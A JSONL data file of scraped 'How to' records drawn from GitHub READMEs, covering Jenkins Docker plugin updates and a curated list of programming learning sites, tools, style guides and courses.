{"id": "gh_49df27cfa845", "question": "How to: Updating plugins file", "question_body": "About jenkinsci/docker", "answer": "The [plugin-installation-manager-tool](https://github.com/jenkinsci/plugin-installation-manager-tool) supports updating the plugin file for you.\n\nExample command:\n\n```command\nJENKINS_IMAGE=jenkins/jenkins:lts-jdk21\ndocker run -it ${JENKINS_IMAGE} bash -c \"stty -onlcr && jenkins-plugin-cli -f /usr/share/jenkins/ref/plugins.txt --available-updates --output txt\" >  plugins2.txt\nmv plugins2.txt plugins.txt\n```", "tags": ["jenkinsci"], "source": "github_gists", "category": "jenkinsci", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 7336, "answer_score": 10, "has_code": true, "url": "https://github.com/jenkinsci/docker", "collected_at": "2026-01-17T08:21:17.685942"}
{"id": "gh_fcdbaafc5dde", "question": "How to: Upgrading plugins", "question_body": "About jenkinsci/docker", "answer": "By default, plugins will be upgraded if they haven't been upgraded manually and if the version from the docker image is newer than the version in the container.\nVersions installed by the docker image are tracked through a marker file.\n\nTo force upgrades of plugins that have been manually upgraded, run the docker image with `-e PLUGINS_FORCE_UPGRADE=true`.\n\nThe default behaviour when upgrading from a docker image that didn't write marker files is to leave existing plugins in place.\nIf you want to upgrade existing plugins without marker you may run the docker image with `-e TRY_UPGRADE_IF_NO_MARKER=true`.\nThen plugins will be upgraded if the version provided by the docker image is newer.", "tags": ["jenkinsci"], "source": "github_gists", "category": "jenkinsci", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7336, "answer_score": 10, "has_code": false, "url": "https://github.com/jenkinsci/docker", "collected_at": "2026-01-17T08:21:17.685949"}
{"id": "gh_5f90b6b0663f", "question": "How to: Questions?", "question_body": "About jenkinsci/docker", "answer": "We're on Gitter, https://gitter.im/jenkinsci/docker", "tags": ["jenkinsci"], "source": "github_gists", "category": "jenkinsci", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 7336, "answer_score": 10, "has_code": false, "url": "https://github.com/jenkinsci/docker", "collected_at": "2026-01-17T08:21:17.685955"}
{"id": "gh_a592fecf652e", "question": "How to: Best-websites-a-programmer-should-visit", "question_body": "About sdmg15/Best-websites-a-programmer-should-visit", "answer": "Some useful websites for programmers.\n\nWhen learning CS, there are some useful sites you must know to get always informed to do your technologies even better and learn new things. Here is a non-exhaustive list of some sites you should visit. This list will get updated as soon as I can get another link, but you can also contribute by adding those you know :wink:\n\n**Note** : [Chinese Version](https://github.com/tuteng/Best-websites-a-programmer-should-visit-zh)", "tags": ["sdmg15"], "source": "github_gists", "category": "sdmg15", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 75329, "answer_score": 10, "has_code": false, "url": "https://github.com/sdmg15/Best-websites-a-programmer-should-visit", "collected_at": "2026-01-17T08:21:34.506291"}
{"id": "gh_3e1b81a49b2e", "question": "How to: 📚 Magazines", "question_body": "About sdmg15/Best-websites-a-programmer-should-visit", "answer": "- [MIT Technology Review](https://www.technologyreview.com/magazine/) : MIT's tech review magazine.\n- [Nautilus](http://nautil.us) : NewYorker for tech.\n- [LWN](https://lwn.net) : Weekly news coverage of opensource technologies, programming, etc. ( Originally Linux Weekly News).\n↥ Back To Top", "tags": ["sdmg15"], "source": "github_gists", "category": "sdmg15", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 75329, "answer_score": 10, "has_code": false, "url": "https://github.com/sdmg15/Best-websites-a-programmer-should-visit", "collected_at": "2026-01-17T08:21:34.506335"}
{"id": "gh_5b7115b7b2fa", "question": "How to: 💰 CryptoCurrency", "question_body": "About sdmg15/Best-websites-a-programmer-should-visit", "answer": "- [Blockchain Basics](https://www.sitepen.com/blog/2017/09/21/blockchain-basics/) : Great introduction to blockchain\n- [Blockchain demo](https://blockchaindemo.io/) : A visual demo of Blockchain technology\n- [Build a blockchain in Python](https://hackernoon.com/learn-blockchains-by-building-one-117428612f46) : Learn Blockchains by Building One\n- [Coin demo](https://coindemo.io/) : CryptoCurrency demo\n- [GitCoin](https://gitcoin.co) : Gitcoin is the easiest way to monetize or incentivize work in Open Source Software.\n- [Learn About Bitcoin and Lightning Protocol](https://chaincode.gitbook.io/seminars/): Complete 4 weeks seminar ciricullum for learning about Bitcoin.\n- [Learn Me A Bitcoin](https://learnmeabitcoin.com/): Bitcoin, Cryptocurrencies and Blockchain explained in plain English\n- [Learn Web3 DAO](https://learnweb3.io/): Learn to become a Web3 Developer for free. \n- [Lite Paper](https://litepaper.com/) : Cryptocurrencies & Blockchain made effortless\n- [Lopp Bitcoin Resources](https://lopp.net/bitcoin.html) : Some Bitcoin Resources\n- [Mastering Bitcoin](https://www.oreilly.com/library/view/mastering-bitcoin/9781491902639/): Introduction to Bitcoin and tutorials to operate a full node\n- [Mempool](https://mempool.space): Bitcoin block explorer, mempool visualizer, transaction tracker, and fee estimator\n↥ Back To Top", "tags": ["sdmg15"], "source": "github_gists", "category": "sdmg15", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 75329, "answer_score": 10, "has_code": false, "url": "https://github.com/sdmg15/Best-websites-a-programmer-should-visit", "collected_at": "2026-01-17T08:21:34.506366"}
{"id": "gh_cfd85a873393", "question": "How to: 💡 For those who want to start a small project but can't find the ideas", "question_body": "About sdmg15/Best-websites-a-programmer-should-visit", "answer": "- [freeCodeCamp/React project ideas](https://medium.freecodecamp.org/every-time-you-build-a-to-do-list-app-a-puppy-dies-505b54637a5d?gi=c786640fbd11) : 27 fun app ideas you can build while learning React.\n- [karan/Projects](https://github.com/karan/Projects) : a large collection of small projects for beginners with\n- [Wrong \"big projects\" for beginners](http://rodiongork.tumblr.com/post/108155476418/wrong-big-projects-for-beginners) : How to choose where to start\n- [vicky002/1000-Projects](https://github.com/vicky002/1000_Projects) : Mega List of practical projects that one can solve in any programming language!\n- [reddit.com/r/AppIdeas](https://www.reddit.com/r/AppIdeas/) : A place to discuss ideas for applications, for bored developers.\n- [reddit.com/r/SomebodyMakeThis](https://www.reddit.com/r/SomebodyMakeThis/) : A home for ideas by people who lack time, money, or skills.\n- [florinpop17/app-ideas](https://github.com/florinpop17/app-ideas) : A Collection of application ideas which can be used to improve your coding skills.\n↥ Back To Top", "tags": ["sdmg15"], "source": "github_gists", "category": "sdmg15", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 75329, "answer_score": 10, "has_code": false, "url": "https://github.com/sdmg15/Best-websites-a-programmer-should-visit", "collected_at": "2026-01-17T08:21:34.506385"}
{"id": "gh_301668b76528", "question": "How to: 🗣️ General Coding advice", "question_body": "About sdmg15/Best-websites-a-programmer-should-visit", "answer": "- [How to Begin With Competitive Programming](https://www.geeksforgeeks.org/how-to-begin-with-competitive-programming/)\n- [10-ways-to-be-a-better-developer](https://stephenhaunts.files.wordpress.com/2014/04/10-ways-to-be-a-better-developer.png) : Ways to become a better dev!\n- [Code Review Best Practices](https://www.kevinlondon.com/2015/05/05/code-review-best-practices.html) : Kevin London's blog\n- [Design Patterns](https://sourcemaking.com/design_patterns) : Design Patterns explained in detail with examples.\n- [Game Programming Patterns](http://gameprogrammingpatterns.com/) : Game Programming Patterns is a collection of patterns Robert Nystrom found in games that make code cleaner, easier to understand, and faster\n- [How to become a programmer or the art of Googling well](https://okepi.wordpress.com/2014/08/21/how-to-become-a-programmer-or-the-art-of-googling-well/) : How to become a programmer or the art of Googling well\n- [How to escape tutorial purgatory as a new developer — or at any time in your career](https://medium.freecodecamp.org/how-to-escape-tutorial-purgatory-as-a-new-developer-or-at-any-time-in-your-career-e3a4b2384a40) : How to escape tutorial purgatory\n- [JS Project Guidelines](https://github.com/wearehive/project-guidelines) : A set of best practices for JavaScript projects.\n- [Learn to Code With Me](https://learntocodewith.me) : A comprehensive site resource by Laurence Bradford for developers who aims to build a career in the tech world\n- [Lessons From A Lifetime Of Being A Programmer](http://thecodist.com/article/lessons_from_a_lifetime_of_being_a_programmer) : The Codist Header Lessons From A Lifetime Of Being A Programmer  \n- [MITRE - Top 25 Most Dangerous Software Weaknesses (2022)](https://cwe.mitre.org/top25/archive/2022/2022_cwe_top25.html) : The currently most common and impactful software weaknesses.\n- [Software Architecture Guide](https://martinfowler.com/architecture/) : A site by Martin Fowler about Software Architecture patterns and best practices to help building software effectively.\n- [Software design pattern](https://en.wikipedia.org/wiki/Software_design_pattern) : The entire collection of Design Patterns.\n- [Things I Wish Someone Had Told Me When I Was Learning How to Code — Free Code Camp](https://medium.freecodecamp.com/things-i-wish-someone-had-told-me-when-i-was-learning-how-to-code-565fc9dcb329?gi=fc6d0a309be ) : What I’ve learned from teaching others\n- [TeachYourselfCS](https://teachyourselfcs.com/) : If you’re a self-taught engineer or bootcamp grad, you owe it to yourself to learn computer science. Thankfully, you can give yourself a world-class CS education without investing years and a small fortune in a degree program\n- [What every computer science major should know](http://matt.might.net/articles/what-cs-majors-should-know/) : The Principles of Good Programming\n- [Working as a Software Developer](https://henrikwarne.com/2012/12/12/working-as-a-software-developer/) : Henrik Warne's blog\n- [The Open Web Application Security Project (OWASP)](https://www.owasp.org) : OWASP is an open community dedicated to enabling organizations to conceive, develop, acquire, operate, and maintain applications that can be trusted.\n↥ Back To Top", "tags": ["sdmg15"], "source": "github_gists", "category": "sdmg15", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 75329, "answer_score": 10, "has_code": false, "url": "https://github.com/sdmg15/Best-websites-a-programmer-should-visit", "collected_at": "2026-01-17T08:21:34.506402"}
{"id": "gh_8cdcef1091fc", "question": "How to: 🎨 Coding Style", "question_body": "About sdmg15/Best-websites-a-programmer-should-visit", "answer": "- [Airbnb JS Style Guide](https://github.com/airbnb/javascript) : A mostly reasonable approach to JavaScript\n- [Airbnb Ruby Style Guide](https://github.com/airbnb/ruby) : A Ruby style guide by Airbnb\n- [Ruby coding style guide](https://github.com/bbatsov/ruby-style-guide) : A community-driven Ruby coding style guide\n- [Angular 1 Style Guide](https://github.com/johnpapa/angular-styleguide/tree/master/a1) : Officially endorsed style guide by John Pappa\n- [CS 106B Coding Style Guide](http://stanford.edu/class/archive/cs/cs106b/cs106b.1158/styleguide.shtml) : must see for those who create spaghetti\n- [Debugging Faqs](http://www.umich.edu/~eecs381/generalFAQ/Debugging.html) : Check out how to debug your program\n- [Directory of CS Courses (many with online lectures)](https://github.com/prakhar1989/awesome-courses) : Another online CS courses\n- [Directory of Online CS Courses](https://github.com/ossu/computer-science) : Free online CS courses\n- [Good C programming habits. • /r/C_Programming](https://www.reddit.com/r/C_Programming/comments/1vuubw/good_c_programming_habits/) : C programming habits to adopt\n- [Google C++ Style Guide](https://google.github.io/styleguide/cppguide.html)\n- [How to Report Bugs Effectively](https://www.chiark.greenend.org.uk/~sgtatham/bugs.html) : Want to report a bug but you don't know how? Check out this post\n- [What are some bad coding habits you would recommend a beginner avoid getting into?](https://www.reddit.com/r/learnprogramming/comments/1i4ds4/what_are_some_bad_coding_habits_you_would/) : Bad habits to avoid when you get started\n- [PEP8 - Style Guide for Python Code](https://www.python.org/dev/peps/pep-0008/) : Style Guide for Python Code\n- [Standard JS Style Guide](https://standardjs.com) : JavaScript style guide, with linter & automatic code fixer\n- [The Hitchhiker's Guide to Python](https://docs.python-guide.org/writing/style/) : Best Practices for Python Development\n- [Google Python Style Guide](https://google.github.io/styleguide/pyguide.html) : Google Python Style Guide\n- [Aurelia Style Guide](https://github.com/behzad888/Aurelia-styleguide) : An Aurelia style guide by Behzad Abbasi(Behzad888)\n- [Source Making ](https://sourcemaking.com/): Design Patterns & Refactoring\n- [Refactoring Guru](https://refactoring.guru/): Refactoring And Design Patterns\n- [Google Java Style Guide](https://google.github.io/styleguide/javaguide.html): Google Java Style Guide\n- [Rust Coding style](https://github.com/rust-dev-tools/fmt-rfcs): Rust code formatting RFCs and coding style guides\n- [Google C# Style Guide](https://google.github.io/styleguide/csharp-style.html): Google C# Style Guide\n- [Uber Go Style Guide](https://github.com/uber-go/guide): Uber Go Style Guide\n↥ Back To Top", "tags": ["sdmg15"], "source": "github_gists", "category": "sdmg15", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 75329, "answer_score": 10, "has_code": false, "url": "https://github.com/sdmg15/Best-websites-a-programmer-should-visit", "collected_at": "2026-01-17T08:21:34.506417"}
{"id": "gh_836b89fe915a", "question": "How to: 🛠️ General Tools", "question_body": "About sdmg15/Best-websites-a-programmer-should-visit", "answer": "- [CoderPad](https://coderpad.io) : Quickly Conduct Coding Interviews and Phone Screen Interviews.\n- [CodePen](https://codepen.io) : Front End Developer Playground & Code Editor in the Browser\n- [CORS-Tester](https://cors-error.dev/cors-tester/) : A tool for developers and API testers to check if an API is CORS-enabled for a given domain and identify gaps\n- [Crontab Guru](https://crontab.guru/) : Quick and simple editor for cron schedule expressions\n- [Devicons](http://vorillaz.github.io/devicons/#/main) : Cheatsheet for devs icons\n- [Diagrams.net](https://app.diagrams.net/) : Drawing tools to make design and uml easily. Old draw.io\n- [FreeFor.Dev](https://free-for.dev/#/) : A huge list of free resources and tools\n- [Hotkey Cheatsheet](https://hotkeycheatsheet.com) : A comprehensive hotkey cheatsheet for popular software and applications\n- [Imgur](https://imgur.com/) : Online image sharing and image hosting service.\n- [Kody Tools](https://www.kodytools.com/dev-tools): 100+ dev tools including code converters, formatters, and minifiers.\n- [Pyrexp](https://pythonium.net/regex) : Online regex tester and visualizer for Python.\n- [regex101](https://regex101.com) : Online regex tester and debugger: PHP, PCRE, Python, Golang and JavaScript\n- [regexr](https://regexr.com) : Another online tool to learn, build & test Regular Expressions\n- [Ray.so](https://www.ray.so/): Beautiful code snippet screenshots.\n- [Prodia AI Image API](https://prodia.com/) : API for open sourced image models\n- [Wit AI](https://wit.ai) : Natural Language for Developers\n- [SaaS Design](https://www.saasdesign.io/free-figma-templates) : Collection of open source Figma UI design templates for your next project.\n- [Seymour](https://harc.github.io/seymour-live2017) : Live Programming for the Classroom\n- [Code share](https://codeshare.io) : Share code in real-time with other developers\n- [Solid Tools for Developers](https://soliddevtools.com) : Online debugging tools for developers and system administrators\n- [OS Query](https://osquery.io) : Easily ask questions about your Linux, Windows, and macOS infrastructure\n- [LaunchPad](https://launchpad.graphql.com) : Appollo launchepad for testing GraphQl queries\n- [GraphOnline](https://graphonline.ru/en/) : Useful tool for visualizing Graphs\n- [Data Structure Visualization](https://www.cs.usfca.edu/~galles/visualization/Algorithms.html) : Perfect website for visually learning Algorithms\n- [IDE Onlang](https://ide.onelang.io) : Write in one language and get the same result in other languages.\n- [JSON Crack](https://jsoncrack.com/) : An online open-source tool designed for visualizing data in various languages such as JSON, YAML, CSV, and more.\n- [JSONing](https://jsoning.com/) : Collection of JSON tools, including a formatter, validator, comparator, testers, generators, and a mock API for testing and prototyping.\n- [Pad.new](https://pad.new) : Free cloud-based IDE to run code and databases in almost any language\n- [PullRequest](https://www.pullrequest.com/) : Code review as a service from vetted, professional reviewers\n- [Python Visualizer](http://pythontutor.com/visualize.html) : Watch the execution of basic Python, Java, C++, etc. code step-by-step. Recommended for new programmers and the Canadian Computing Competition.  \n- [Extends Class](https://extendsclass.com/) : Online developer tools: REST and SOAP clients, SQLite browser, testers (Regex, XPath, JSONPath) and other tools (Encoders, Converters and formatters)\n- [Sourcegraph](https://sourcegraph.com/search) : Online tool for searching millions of open source repositories.\n- [SVG Path Editor](https://yqnn.github.io/svg-path-editor/) : Online and open source SVG Path editor.\n- [EmailDrop](https://www.emaildrop.io/): Emaildrop is a free disposable email provider.\n- [Repl.it](https://repl.it): Accessible prototyping tool for various needs.\n- [KeyBr (Typing Practice)](https://www.keybr.com/): Easy to use typing practice app.\n- [Svgator](https://www.svgator.com/): Animate svg graphically. Its like a video editor but for svg. \n- [Webhook.site](https://webhook.site/): Useful tool for test and debug webhooks.\n- [kandi](https://kandi.openweaver.com/): Jumpstart Application Development by finding the right Open Source resource\n- [Svix Play](https://play.svix.com/): Webhook tester & debugger. Test webhooks directly from your test suite.\n- [Typeracer](https://play.typeracer.com/): Increase your typing speed while racing against others.\n- [Typerush](https://www.typerush.com/): Increase typing speed while racing.\n- [IT-Tools](https://it-tools.tech/): Collection of handy online tools for developers.\n↥ Back To Top", "tags": ["sdmg15"], "source": "github_gists", "category": "sdmg15", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 75329, "answer_score": 10, "has_code": false, "url": "https://github.com/sdmg15/Best-websites-a-programmer-should-visit", "collected_at": "2026-01-17T08:21:34.506440"}
{"id": "gh_7255230ee939", "question": "How to: 🐚 Bash and Shell scripting", "question_body": "About sdmg15/Best-websites-a-programmer-should-visit", "answer": "- [Advanced Bash-Scripting Guide](http://tldp.org/LDP/abs/html/) : An in-depth exploration of the art of shell scripting\n- [Bash Guide for Beginners](http://www.tldp.org/LDP/Bash-Beginners-Guide/html/) : Bash Guide for Beginners Machtelt Garrels\n- [Bash Programming](http://tldp.org/HOWTO/Bash-Prog-Intro-HOWTO.html) : by Mike G mikkey at dynamo.com.ar\n- [Bash Reference Manual](https://www.gnu.org/software/bash/manual/bashref.html) : Bash Reference Manual\n- [BashGuide](http://mywiki.wooledge.org/BashGuide) : BashGuide - Greg's Wiki\n- [Conquering the Command Line](https://www.softcover.io/read/fc6c09de/unix_commands) : Unix and Linux Commands for Developers\n- [Airborn OS](https://www.airborn.io) :  Private Google Docs Alternative\n- [Commandlinefu](https://www.commandlinefu.com/commands/browse) : An extensive collection of Shell oneliners that can save your day on many occasions\n- [Pure Bash Bible](https://github.com/dylanaraps/pure-bash-bible) : A collection of pure bash alternatives to external processes.\n- [25 Common Linux Bash Script Examples To Get You Started](https://www.hostinger.in/tutorials/bash-script-example)\n↥ Back To Top", "tags": ["sdmg15"], "source": "github_gists", "category": "sdmg15", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 75329, "answer_score": 10, "has_code": false, "url": "https://github.com/sdmg15/Best-websites-a-programmer-should-visit", "collected_at": "2026-01-17T08:21:34.506450"}
{"id": "gh_4b328ee72e40", "question": "How to: 🎬 Documentaries", "question_body": "About sdmg15/Best-websites-a-programmer-should-visit", "answer": "- [Breaking the Code](https://ia801908.us.archive.org/27/items/youtube-S23yie-779k/) : Biography of Alan Turing\n- [Cracking The Code Interview](https://www.youtube.com/watch?v=4NIb9l3imAo) : Cracking the Code Interview\n- [Cracking the Coding Interview](https://www.youtube.com/watch?v=Eg5-tdAwclo) : Cracking the Coding Interview, Fullstack Speaker Series\n- [Harvard CS50 - Asymptotic Notation (video)](https://www.youtube.com/watch?v=iOq5kSKqeR4) : Asymptotic Notation explained by Harvard\n- [Machine Code Instructions (video)](https://www.youtube.com/watch?v=Mv2XQgpbTNE) : Code instructions\n- Machine that Changed the World - a very good documentary about the history of computers\n  - Part 1 is unavailable for free streaming due to widespread copyright claims.\n  - [Part 2: Inventing the Future](https://www.youtube.com/watch?v=0iPiYxjsYKk)\n  - [Part 3: The Paperback Computer](https://www.youtube.com/watch?v=d7DKVfOXr54)\n  - [Part 4: The Thinking Machine](https://www.youtube.com/watch?v=enWWlx7-t0k)\n  - [Part 5: The World at Your Fingertips](https://www.youtube.com/watch?v=fLLXiP7diEo)\n- [Mechanical Computer (All Parts)](https://www.youtube.com/watch?v=s1i-dnAH9Y4) : a very good video from the 1950s explaining how mechanical computers used to work without all the modern-day electronics.\n- [Teach Yourself Computer Science](https://teachyourselfcs.com) : Teach Yourself Computer Science\n- [The Code](https://www.youtube.com/watch?v=XMm0HsmOTFI) : Story of Linux documentary\n- [The Internet's Own Boy](https://www.youtube.com/watch?v=9vz06QO3UkQ) : The Story of Aaron Swartz\n↥ Back To Top", "tags": ["sdmg15"], "source": "github_gists", "category": "sdmg15", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 75329, "answer_score": 10, "has_code": false, "url": "https://github.com/sdmg15/Best-websites-a-programmer-should-visit", "collected_at": "2026-01-17T08:21:34.506493"}
{"id": "gh_ec78cbb040ab", "question": "How to: 🎓 MOOCs for learning something new", "question_body": "About sdmg15/Best-websites-a-programmer-should-visit", "answer": "- [Boot.dev](https://www.boot.dev/) : Interactive online course to learn modern backend programming in Python, Javascript, Go, and more.\n- [Class Central](https://www.class-central.com) : a directory of 100,000+ student reviews of thousands of MOOCs.\n- [Classpert](https://classpert.com) : a website that gathers MOOCs and online courses from several providers, focusing on computer science and data science courses.\n- [Computer Science Resources](https://docs.google.com/spreadsheets/d/1BD8BJJUNaX63m2QmySWMGDp71nx4W4MyyiIBlfMoN3Q/htmlview?sle=true#) : list of MOOCs for autodidacts\n- [Coursera.org](https://www.coursera.org) : Take the world's best courses, online.\n- [CS50](https://www.youtube.com/user/cs50tv/videos) : A set of goods tutorials from cs50\n- [edX](https://www.edx.org) : Free Online Courses, Advance Your Career, Improve Your Life.\n- [Kadenze/Creative Programming](https://www.kadenze.com/courses?subjects%5B%5D=7) : Programming courses focused on art and creativity\n- [MIT OCW Electrical Engineering and Computer Science](https://ocw.mit.edu/courses/electrical-engineering-and-computer-science/)\n- [MOOC.fi](http://mooc.fi/english.html) : Free online courses from the University of Helsinki\n- [NPTEL](http://nptel.ac.in) : Free online courses by IIT with certificates\n- [prakhar1989/awesome-CS-courses](https://github.com/prakhar1989/awesome-courses/blob/master/README.md) : List containing large amount of CS courses\n- [Pluralsight](https://www.pluralsight.com) : An online learning and workforce development platform that helps businesses and individuals adjust to changing technology.\n↥ Back To Top", "tags": ["sdmg15"], "source": "github_gists", "category": "sdmg15", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 75329, "answer_score": 10, "has_code": false, "url": "https://github.com/sdmg15/Best-websites-a-programmer-should-visit", "collected_at": "2026-01-17T08:21:34.506504"}
{"id": "gh_790813826e97", "question": "How to: 🧑‍💻 Sites related to your preferred programming language (For me C++)", "question_body": "About sdmg15/Best-websites-a-programmer-should-visit", "answer": "- [Best books for learning java must read](https://javahungry.blogspot.com/2014/02/best-books-for-learning-java-must-read.html) : Get basics of Java\n- [Bjarne Stroustrup's C++ Style and Technique FAQ](http://www.stroustrup.com/bs_faq2.html) : The C++ FAQ\n- [Bjarne Stroustrup's FAQ](http://www.stroustrup.com/bs_faq.html) : The C++ FAQ\n- [C++11 - the new ISO C++ standard](http://www.stroustrup.com/C++11FAQ.html) : The C++11 FAQ\n- [Compilers (video)](https://www.youtube.com/playlist?list=PLO9y7hOkmmSGTy5z6HZ-W4k2y8WXF7Bff) : A set of videos on how the GC works\n- [Deep Dive Java](https://www.infoq.com/presentations/garbage-collection-benefits) : Garbage Collection is Good!\n- [Free Online Chapters of Inside the Java Virtual Machine by Bill Venners](http://www.artima.com/insidejvm/ed2/index.html) : Java Corner\n- [How Garbage Collection Works](https://www.dynatrace.com/resources/ebooks/javabook/how-garbage-collection-works/) : Java memory management\n- [Implementation of Algorithms and Data Structures, Interview Questions and Answers](https://github.com/sherxon/AlgoDS)\n- [IntelliJ Keyboard Shortcuts](https://www.jetbrains.com/help/idea/keyboard-shortcuts-you-cannot-miss.html) : Keyboard shortcuts to enhance your productivity when working in IntelliJ.\n- [Java Corner at Artima.com](http://www.artima.com/java/index.html) : Java Corner at Artima.com\n- [Java Lecture Notes](http://www.cafeaulait.org/course/) : Java Student's Resource\n- [Java Off Heap](http://www.javaoffheap.com) : Java Off the Heap house\n- [Java Revisited](http://javarevisited.blogspot.com) : good for learning about Java Language and interview preparation.\n- [Java-source](http://www.java-source.net) : Java source\n- [Java Visualizer](http://www.cs.princeton.edu/~cos126/java_visualize/) : helps visualize references, values of variables, etc\n- [JournalDev - Java, Java EE, Android, Web Development Tutorials](https://www.journaldev.com) : Java, Java EE, Android, Web Development Tutorials\n- [Learning Java](http://chimera.labs.oreilly.com/books/1234000001805/index.html) : a free online textbook for learning Java\n- [Netbeans Keyboard Shortcuts](https://netbeans.org/project_downloads/usersguide/shortcuts-80.pdf) : Keyboard shortcuts to enhance your productivity when working in Netbeans.\n- [Official Qt Documentation](https://doc.qt.io/) : Documentation for different Qt versions, languages, tools and platforms\n- [Search Open Source Java API](http://www.docjar.com) : view source of java library and learn how things are implemented.\n- [The C++ Programming Language](http://www.stroustrup.com/C++.html) : The C++ Programming Language.\n- [The Java Memory Model](http://www.cs.umd.edu/~pugh/java/memoryModel/): The Java Memory Model\n- [The Java™ Tutorials](https://docs.oracle.com/javase/tutorial/) : The best tutorials for Java.\n- [Understanding JVM Internals](http://www.cubrid.org/blog/understanding-jvm-internals) : Understanding JVM Internals\n- [what-is-garbage-collection](https://downloads.plumbr.io/Plumbr%20Handbook%20Java%20Garbage%20Collection.pdf) : Demystify the garbage collection\n- [JavaWorld](https://www.javaworld.com) : Welcome to Javaworld\n- [JavatPoint](https://www.javatpoint.com/java-tutorial) : Best website to get a basic Java programming tutorial\n- [The Rust Programming Language Book](https://doc.rust-lang.org/book/title-page.html) : Explains the Rust programming language\n- [Rust Cookbook](https://rust-lang-nursery.github.io/rust-cookbook/intro.html#cookin-with-rust) : Quickly get an overview of the capabilities of the Rust crate ecosystem\n\n- [Getting start with python](https://riptutorial.com/ebook/python) : A-Z python programming concepts and methods.\n\n- [Rust by Example](https://doc.rust-lang.org/rust-by-example/) : A collection of runnable examples that illustrate various Rust concepts and standard libraries\n↥ Back To Top", "tags": ["sdmg15"], "source": "github_gists", "category": "sdmg15", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 75329, "answer_score": 10, "has_code": false, "url": "https://github.com/sdmg15/Best-websites-a-programmer-should-visit", "collected_at": "2026-01-17T08:21:34.506523"}
{"id": "gh_d83e8906eb0a", "question": "How to: 🤖 Learn AI", "question_body": "About sdmg15/Best-websites-a-programmer-should-visit", "answer": "- [aima](http://aima.cs.berkeley.edu) : The leading textbook in Artificial Intelligence (4th most cited publication of the century). Includes Github repositories and more AI resources!\n- [fast.ai](http://course.fast.ai) : Free practical *deep learning* course for coders without grad-level maths!\n- [TypeDB](https://vaticle.com) : A Strongly-typed Database\n- [Robots that learn](https://openai.com/research/robots-that-learn) : Robots that Learn\n- [Unsupervised Sentiment Neuron](https://openai.com/research/unsupervised-sentiment-neuron) : Unsupervised Sentiment Neuron\n- [What's the difference between AI- DP and ML?](https://blogs.nvidia.com/blog/2016/07/29/whats-difference-artificial-intelligence-machine-learning-deep-learning-ai/) : Difference artificial intelligence, machine-learning, deep-learning-ai\n- [TensorFlow](https://www.tensorflow.org) : An open-source software library for Machine Intelligence\n- [Scikit-learn](http://scikit-learn.org) : A Python module for machine learning build on top of SciPy\n- [DeepLearning.ai](https://www.deeplearning.ai) : Deep Learning course by Andrew Ng, Founder of Coursera\n- [Coding the History of Deep Learning](http://blog.floydhub.com/coding-the-history-of-deep-learning/) : Coding the History of Deep Learning\n- [Serpent AI](https://github.com/SerpentAI/SerpentAI) : Game Agent Framework. Helping you create AIs / Bots to play any game you own! BETA\n- [Blog Floydhub](https://blog.floydhub.com/colorizing-b&w-photos-with-neural-networks/) : Colorizing B&W Photos with Neural Networks\n- [MLCOURSE.AI](https://mlcourse.ai/) : Open Machine Learning course by OpenDataScience\n- [Elements of AI](https://course.elementsofai.com/) : A free course for AI basics by Reaktor and University of Helsinki\n- [Machine Learning Mastery](https://machinelearningmastery.com/) : A comprehensive blog that contains guidance, tutorials, and e-book for mastering ML\n- [Machine Learning Crash Course](https://developers.google.com/machine-learning/crash-course) : A jumpstart AI course from Google\n- [Machine Learning Tutorial: A Step-by-Step Guide for Beginners](https://www.simplilearn.com/tutorials/machine-learning-tutorial) : A one-stop playlist for all the basics of Machine Learning simplified, from Logistic Regression to Reinforcement Learning.\n- [MLU-EXPLAIN](https://mlu-explain.github.io/) : Machine Learning University (MLU) is an education initiative from Amazon designed for visual explanations of core machine learning concepts.\n↥ Back To Top", "tags": ["sdmg15"], "source": "github_gists", "category": "sdmg15", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 75329, "answer_score": 10, "has_code": false, "url": "https://github.com/sdmg15/Best-websites-a-programmer-should-visit", "collected_at": "2026-01-17T08:21:34.506537"}
{"id": "gh_aa6429404c6d", "question": "How to: 📢 Seminar, research writing, talks, etc", "question_body": "About sdmg15/Best-websites-a-programmer-should-visit", "answer": "- [Advice on Research and Writing](http://www.cs.cmu.edu/~mleone/how-to.html) : A collection of advice about how to do research and how to communicate effectively (primarily for computer scientists).\n- [PHD MS Articles](http://www.cse.iitd.ac.in/~srsarangi/articles.html) : articles and views\n- [Seminar and reports](https://www.cse.iitb.ac.in/~ranade/communicationskills.html) : Everyone must read this tiny book before writing the seminar report\n- [Latex reference](http://latex.knobs-dials.com) : Arbitrary reference\n- [Begin Latex in minutes](https://github.com/LewisVo/Begin-Latex-in-minutes) : Brief Intro to LaTeX for beginners that helps you use LaTeX with the ease\n- [Lshort](https://tobi.oetiker.ch/lshort/lshort.pdf) : The Not So Short Introduction to LATEX2ε\n↥ Back To Top", "tags": ["sdmg15"], "source": "github_gists", "category": "sdmg15", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 75329, "answer_score": 10, "has_code": false, "url": "https://github.com/sdmg15/Best-websites-a-programmer-should-visit", "collected_at": "2026-01-17T08:21:34.506547"}
